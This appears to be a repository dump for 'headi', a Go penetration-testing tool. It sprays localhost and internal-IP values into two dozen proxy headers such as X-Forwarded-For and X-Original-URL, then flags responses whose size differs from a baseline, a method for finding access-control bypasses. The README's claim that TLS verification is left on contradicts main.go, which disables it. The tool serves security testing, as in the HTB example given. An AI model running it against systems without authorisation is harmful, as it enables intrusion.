├── .gitignore ├── Makefile ├── README.md └── main.go /.gitignore: -------------------------------------------------------------------------------- 1 | go.sum 2 | vendor 3 | go.mod 4 | headi -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | before.build: 2 | ifeq (,$(wildcard ./go.mod)) 3 | go mod init v0 && go mod tidy 4 | endif 5 | go mod download && go mod vendor 6 | 7 | build.headi: 8 | @echo "build in ${PWD}";go build -o headi main.go -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # headi 2 | Customisable and automated HTTP header injection. Example run from the HTB machine Control: 3 | 4 | 5 | 6 | `InsecureSkipVerify` is not currently configured, if you want to disable security checks then feel free to uncomment `crypto/tls` in the imports and the `TLSClientConfig: &tls.Config{InsecureSkipVerify: true},` lines in http transport configuration and then build locally. 7 | 8 |
9 | 10 | ## Install 11 | ``` 12 | go install github.com/mlcsec/headi@latest 13 | ``` 14 | 15 | Or from git: 16 | ```shell 17 | git clone https://github.com/mlcsec/headi.git 18 | make before.build 19 | make build.headi 20 | sudo mv headi /usr/local/bin 21 | ``` 22 | 23 |
24 | 25 | ## Headers 26 | Injects the following HTTP headers: 27 | * Client-IP 28 | * Connection 29 | * Contact 30 | * Forwarded 31 | * From 32 | * Host 33 | * Origin 34 | * Referer 35 | * True-Client-IP 36 | * X-Client-IP 37 | * X-Custom-IP-Authorization 38 | * X-Forward-For 39 | * X-Forwarded-For 40 | * X-Forwarded-Host 41 | * X-Forwarded-Server 42 | * X-Host 43 | * X-HTTP-Host-Override 44 | * X-Original-URL 45 | * X-Originating-IP 46 | * X-Real-IP 47 | * X-Remote-Addr 48 | * X-Remote-IP 49 | * X-Rewrite-URL 50 | * X-Wap-Profile 51 | 52 | An initial baseline request is made to gauge the normal response for the target resource. Green indicates a change in the response and red no change. `[+]` and `[-]` respectively. 53 | 54 |
55 | 56 | ## Usage 57 | Two options for HTTP header injection: 58 | 59 | 1. Default payloads (127.0.0.1, localhost, etc.) are injected into the headers mentioned above 60 | 2. Custom payloads can be supplied (e.g. you've enumerated some internal IPs or domains) using the `pfile` parameter 61 | 62 | ``` 63 | $ headi 64 | Usage: 65 | headi -u https://target.com/resource 66 | headi -u https://target.com/resource -p internal_addrs.txt 67 | 68 | Options: 69 | -p, --pfile Payload File 70 | -t, --timeout HTTP Timeout 71 | -u, --url Target URL 72 | ``` 73 | Currently only takes one URL as input but you can easily bash script for numerous URLs like so: 74 | ``` 75 | $ for i in $(cat urls); do headi -url $i;done 76 | ``` 77 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | // uncomment crypto/tls import and TLSClient configs if required 2 | package main 3 | 4 | import ( 5 | "io/ioutil" 6 | "net" 7 | "net/http" 8 | "net/url" 9 | "crypto/tls" 10 | "bufio" 11 | "flag" 12 | "fmt" 13 | "log" 14 | "os" 15 | "strconv" 16 | "time" 17 | "github.com/fatih/color" 18 | ) 19 | 20 | var headers = []string{"Client-IP", "Connection", "Contact", "Forwarded", "From", "Host", "Origin", "Referer", "True-Client-IP", "X-Client-IP", "X-Custom-IP-Authorization", "X-Forward-For", "X-Forwarded-For", "X-Forwarded-Host", "X-Forwarded-Server", "X-Host", "X-HTTP-Host-Override", "X-Original-URL", "X-Originating-IP", "X-Real-IP", "X-Remote-Addr", "X-Remote-IP", "X-Rewrite-URL", "X-Wap-Profile"} 21 | var inject = []string{"127.0.0.1", "localhost", "0.0.0.0", "0", "127.1", "127.0.1", "2130706433"} 22 | var urlt string 23 | var pfile string 24 | var to int 25 | 26 | // ResolveContentLength returns right content-length value. First it re-make the request with chunked-compression 27 | // disable, then it computes Content-Length from body length. If disabling encoding is efficient, client is modified for 28 | // future requests also 29 | func ResolveContentLength(tr *http.Transport, client *http.Client, url string, headerName string, headerValue string) (contentLentgh int64, err error) { 30 | //first disable chunked-compression 31 | tr.DisableCompression = true 32 | client.Transport = tr 33 | 34 | resp, _ := GetRequest(tr, client, url, headerName, headerValue) 35 | contentLentgh = resp.ContentLength 36 | 37 | if contentLentgh == -1 { 38 | tr.DisableCompression = false 39 | client.Transport = tr 40 | 41 | //compute Content-Length by ourself 42 | defer resp.Body.Close() 43 | bodyBytes, err := ioutil.ReadAll(resp.Body) 44 | if err != nil { 45 | return -1, err 46 | } 47 | contentLentgh = int64(len(bodyBytes)) 48 | } 49 | return contentLentgh, err 50 | } 51 | 52 | //GetRequest performs the Get request giving an URL & Header info, and return the http.Response struct 53 | func GetRequest(tr *http.Transport, client *http.Client, url string, headerName string, headerValue string) (resp *http.Response, err error) { 54 | req, err := http.NewRequest("GET", url, nil) 55 | if err != nil { 56 | return resp, err 57 | } 58 | 59 | if headerName != "" { 60 | req.Header.Set(headerName, headerValue) 61 | } 62 | 63 | resp, err = client.Do(req) 64 | if err != nil { 65 | return resp, err 66 | } 67 | 68 | return resp, err 69 | } 70 | 71 | //InitBaseline performs baseline request and retrieve baselines valuesfrom it (content-length , client used, etc) 72 | func InitBaseline() (tr *http.Transport, client *http.Client, bresp *http.Response) { 73 | timeout := time.Duration(to * 1000000) 74 | tr = &http.Transport{ 75 | MaxIdleConns: 30, 76 | IdleConnTimeout: time.Second, 77 | DisableKeepAlives: true, 78 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 79 | DialContext: (&net.Dialer{ 80 | Timeout: timeout, 81 | KeepAlive: time.Second, 82 | }).DialContext, 83 | } 84 | 85 | client = &http.Client{ 86 | Transport: tr, 87 | Timeout: timeout, 88 | } 89 | 90 | //baseline request - gauge normal response 91 | bresp, err := GetRequest(tr, client, urlt, "", "") 92 | if err != nil { 93 | log.Fatal("Failed to make baseline request:", err) 94 | } 95 | 96 | return tr, client, bresp 97 | } 98 | 99 | //HeaderInject performs a baseline request, retrieve content-lenght from it. 100 | //Then it performs multiples request with various header and compare response Content-Length 101 | //w/ baseline response 102 | func HeaderInject() { 103 | g := color.New(color.FgGreen) 104 | r := color.New(color.FgRed) 105 | 106 | tr, client, bresp := InitBaseline() 107 | bContentLength := bresp.ContentLength 108 | 109 | if bContentLength == -1 { //the length is unknown 110 | var err error 111 | bContentLength, err = ResolveContentLength(tr, client, urlt, "", "") 112 | if err != nil { 113 | fmt.Println("Failed to retrieve Content-Lenght:", err) 114 | } 115 | } 116 | 117 | //loop through default payloads and inject 118 | for _, header := range headers { 119 | for _, i := range inject { 120 | resp, err := GetRequest(tr, client, urlt, header, i) 121 | if err != nil { 122 | continue 123 | } 124 | 125 | contentLength := resp.ContentLength 126 | if contentLength == -1 { //the length is unknown 127 | contentLength, err = ResolveContentLength(tr, client, urlt, header, i) 128 | if err != nil { 129 | continue 130 | } 131 | } 132 | 133 | if bContentLength != contentLength { 134 | g.Println("[+] " + "[" + urlt + "]" + " " + "[" + header + ": " + i + "]" + " " + "[Code: " + strconv.Itoa(int(resp.StatusCode)) + "] " + "[Size: " + strconv.Itoa(int(contentLength)) + "]") 135 | } else { 136 | r.Println("[-] " + "[" + urlt + "]" + " " + "[" + header + ": " + i + "]" + " " + "[Code: " + strconv.Itoa(int(resp.StatusCode)) + "] " + "[Size: " + strconv.Itoa(int(contentLength)) + "]") 137 | } 138 | defer resp.Body.Close() 139 | } 140 | } 141 | } 142 | 143 | func init() { 144 | flag.Usage = func() { 145 | f := "Usage:\n" 146 | f += " headi -u https://target.com/resource\n" 147 | f += " headi -u https://target.com/resource -p internal_addrs.txt\n\n" 148 | f += "Options:\n" 149 | f += " -p, --pfile Payload File\n" 150 | f += " -t, --timeout HTTP Timeout\n" 151 | f += " -u, --url Target URL\n" 152 | fmt.Fprintf(os.Stderr, f) 153 | } 154 | } 155 | 156 | func main() { 157 | flag.StringVar(&urlt, "url", "", "url to fetch and to which perform header injections") 158 | flag.StringVar(&urlt, "u", "", "url to fetch and to which perform header injections") 159 | flag.StringVar(&pfile, "pfile", "", "Give a file with custom header value (useful to provide internal IP") 160 | flag.StringVar(&pfile, "p", "", "Give a file with custom header value (useful to provide internal IP") 161 | flag.IntVar(&to, "timeout", 10000, "Custom HTTP timeout") 162 | flag.IntVar(&to, "t", 10000, "") 163 | flag.Parse() 164 | if urlt == "" { 165 | flag.Usage() 166 | } else { 167 | u, err := url.Parse(urlt) 168 | if err != nil { 169 | log.Fatal(err) 170 | } 171 | if u.Scheme == "" || u.Host == "" || u.Path == "" { 172 | fmt.Println("Invalid URL: ", urlt) 173 | os.Exit(1) 174 | } 175 | 176 | if pfile != "" { 177 | //Reconstruct inject []string, containaing header value 178 | inject = nil 179 | // open and iterate 180 | file, err := os.Open(pfile) 181 | if err != nil { 182 | log.Fatal(err) 183 | } 184 | defer file.Close() 185 | scanner := bufio.NewScanner(file) 186 | for scanner.Scan() { 187 | inject = append(inject, scanner.Text()) 188 | } 189 | } 190 | HeaderInject() 191 | } 192 | } 193 | --------------------------------------------------------------------------------